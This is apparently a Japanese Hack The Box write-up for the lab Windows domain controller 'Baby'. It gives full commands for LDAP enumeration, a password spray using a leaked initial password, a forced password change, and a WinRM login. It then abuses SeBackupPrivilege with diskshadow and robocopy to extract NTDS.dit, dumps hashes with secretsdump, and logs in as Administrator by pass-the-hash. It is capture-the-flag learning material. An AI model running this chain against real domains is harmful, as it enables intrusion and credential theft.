1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【Hack The Box】Writeup: Baby

1
Posted at

image.png

はじめに

この記事は、Hack The BoxのWindowsマシン「Baby」を攻略した際の手順を、再現しやすい形で整理したものです。

今回の流れは次の通りです。

  1. LDAP匿名列挙でユーザー情報を収集
  2. 初期パスワード候補の発見
  3. PASSWORD_MUST_CHANGE 状態ユーザーのパスワード変更
  4. WinRMで侵入
  5. SeBackupPrivilege を利用して NTDS.dit を取得し、Domain Admin権限へ到達

ポートスキャニング

nmapの結果

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-05 13:41:15Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC

スクリプトでLDAPの情報を確認します。

$ nmap -p 389 --script ldap-rootdse 10.129.234.71
...SNIP...

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse:
| LDAP Results
...SNIP...
|       dnsHostName: BabyDC.baby.vl
|       defaultNamingContext: DC=baby,DC=vl
...SNIP...

dnsHostNameからホスト名が、BabyDC.baby.vl
defaultNamingContext からドメインが baby.vl
と分かるため、/etc/hosts に登録します。

$ echo "10.129.234.71 baby.htb baby.vl BabyDC.baby.vl" | sudo tee -a /etc/hosts

LDAP列挙

匿名アクセスでsAMAccountName を列挙して、有効なログイン名候補を集めます。

$ ldapsearch -x -H ldap://BabyDC.baby.vl -b "DC=baby,DC=vl" "(objectClass=user)" sAMAccountName

この時点で以下のようなユーザーを取得できました。

  • Jacqueline.Barnett
  • Ashley.Webb
  • Hugh.George
  • Leonard.Dyer
  • Connor.Wilkinson
  • Joseph.Hughes
  • Kerry.Wilson
  • Teresa.Bell

次に、description 属性を確認します。AD環境では運用メモが残っていることがあり、初期パスワードのヒントになる場合があります。

$ ldapsearch -x -H ldap://baby.htb -b "DC=baby,DC=vl" "(objectClass=user)" sAMAccountName description 2>&1
...SNIP...
dn: CN=Teresa Bell,OU=it,DC=baby,DC=vl
description: Set initial password to BabyStart123!
sAMAccountName: Teresa.Bell
...SNIP...

ここで初期パスワード候補 BabyStart123! を発見しました。

パスワードスプレーと追加ユーザー発見

まずはユーザー一覧を作成します。

$ ldapsearch -x -H ldap://BabyDC.baby.vl -b "DC=baby,DC=vl" "(objectClass=user)" sAMAccountName | grep sAMAccountName: | awk '{print $2}' > users.txt

この状態でスプレーしてもヒットしませんでした。

$ nxc ldap baby.vl -u users.txt -p 'BabyStart123!'
...SNIP...
[-] baby.vl\Teresa.Bell:BabyStart123!

そこで、objectClass=user に絞らず全オブジェクトを列挙し直します。
あらたにCaroline.Robinsonが見つかりました!

$ ldapsearch -x -H ldap://BabyDC.baby.vl -b "DC=baby,DC=vl" "*" cn | grep dn:
...SNIP...
dn: CN=Caroline Robinson,OU=it,DC=baby,DC=vl
dn: CN=Ian Walker,OU=dev,DC=baby,DC=vl

見落としていた Caroline.Robinsonusers.txt に追加して再実行すると、次の結果が得られました。

$ nxc ldap baby.vl -u users.txt -p 'BabyStart123!'
...SNIP...
[-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
...SNIP...

PASSWORD_MUST_CHANGE の対応

PASSWORD_MUST_CHANGE 状態では、WinRMなど通常ログイン系プロトコルが失敗するため、まずパスワード変更を行います。

$ smbpasswd -U BABY/caroline.robinson -r baby.htb
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user caroline.robinson

新しいパスワードを Password1234! に設定後、WinRMログインに成功しました。

$ evil-winrm -i baby.vl -u caroline.robinson -p Password1234!
...SNIP...
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents>

侵入後の権限確認

*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

SeBackupPrivilegeSeRestorePrivilege が有効なので、バックアップ経由で機密ファイル取得を狙います。

ローカルSAMの取得

まずはレジストリハイブを保存して、ローカルアカウントのハッシュを確認します。

*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> reg save hklm\sam .\sam
The operation completed successfully.

*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> reg save hklm\system .\system
The operation completed successfully.
$ impacket-secretsdump -sam sam -system system LOCAL
...SNIP...
Administrator:500:...:8d992faed38128ae85e95fa35868bb43:::

ただし、このローカルSAM由来の Administrator ハッシュではWinRM認証できませんでした。

$ evil-winrm -i baby.vl -u administrator -H 8d992faed38128ae85e95fa35868bb43
...SNIP...
WinRM::WinRMAuthorizationError

次にドメイン認証情報を取得するため、NTDS.dit の抽出に進みます。

NTDS.dit 抽出

diskshadow 用スクリプトを作成して、Cドライブのシャドウコピーを公開します。

backup.txt

set verbose on
set metadata C:\Windows\Temp\test.cab
set context persistent
add volume C: alias cdrive
create
expose %cdrive% E:

改行コードをDOS形式に変換し、アップロードして実行します。

$ unix2dos backup.txt
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> upload backup.txt
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> diskshadow /s .\backup.txt
...SNIP...
The shadow copy was successfully exposed as E:\.

続いて、バックアップモードで ntds.dit をコピーします。

*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> robocopy /b E:\Windows\ntds . ntds.dit
...SNIP...
Files :         1         1         0         0         0         0
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> download ntds.dit

ドメインハッシュの抽出と管理者ログイン

手元で systemntds.dit を使ってドメイン資格情報を抽出します。

$ impacket-secretsdump -system system -ntds ntds.dit LOCAL
...SNIP...
Administrator:500:...:ee4457ae59f1e3fbd764e33d9cef123d:::
...SNIP...

抽出したドメイン Administrator ハッシュで再度ログインすると、管理者権限を取得できました。

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
baby\administrator

まとめ

今回の攻略ポイントは次の3点です。

  1. LDAP列挙時はフィルタを固定せず、全オブジェクト列挙も併用して取りこぼしを減らす
  2. STATUS_PASSWORD_MUST_CHANGEsmbpasswd などパスワード変更可能な経路で突破する
  3. SeBackupPrivilege が有効な場合、diskshadow + robocopy /b による NTDS.dit 抽出が有効

AD環境では「初期パスワード運用」と「バックアップ権限の過剰付与」が重なると、一気にドメイン管理者到達までつながることを再確認できるマシンでした。

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?